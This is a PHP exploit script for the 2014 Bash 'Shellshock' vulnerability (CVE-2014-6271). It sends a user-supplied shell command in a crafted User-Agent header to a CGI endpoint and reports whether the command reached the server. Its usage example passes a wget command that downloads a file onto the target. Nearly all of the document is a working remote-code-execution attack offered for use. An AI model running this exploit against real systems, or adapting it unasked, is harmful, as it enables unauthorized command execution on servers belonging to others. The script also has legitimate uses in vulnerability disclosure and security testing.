Bash – ‘Shellshock’ Environment Variables Command Injection
<?php /* Title: Bash Specially-crafted Environment Variables Code Injection Vulnerability CVE: 2014-6271 Vendor Homepage: https://www.gnu.org/software/bash/ Author: Prakhar Prasad && Subho Halder Author Homepage: https://prakharprasad.com && https://appknox.com Date: September 25th 2014 Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26 GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13) Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmd Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit" Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/ Test CGI Code : #!/bin/bash echo "Content-type: text/html" echo "" echo "Bash-is-Vulnerable" */ error_reporting(0); if(!defined('STDIN')) die("Please run it through command-line!\n"); $x = getopt("u:c:"); if(!isset($x['u']) || !isset($x['c'])) { die("Usage: ".$_SERVER['PHP_SELF']." -u URL -c cmd\n"); } $url = $x['u']; $cmd = $x['c']; $context = stream_context_create( array( 'http' => array( 'method' => 'GET', 'header' => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"' ) ) ); $req = file_get_contents($url, false, $context); if(!$req && strpos($http_response_header[0],"500") > 0 ) die("Command sent to the server!\n"); else if($req && !strpos($http_response_header[0],"500") > 0) die("Server didn't respond as it should!\n"); else if(!$req && $http_response_header == NULL) die("A connection error occurred!\n") ?> |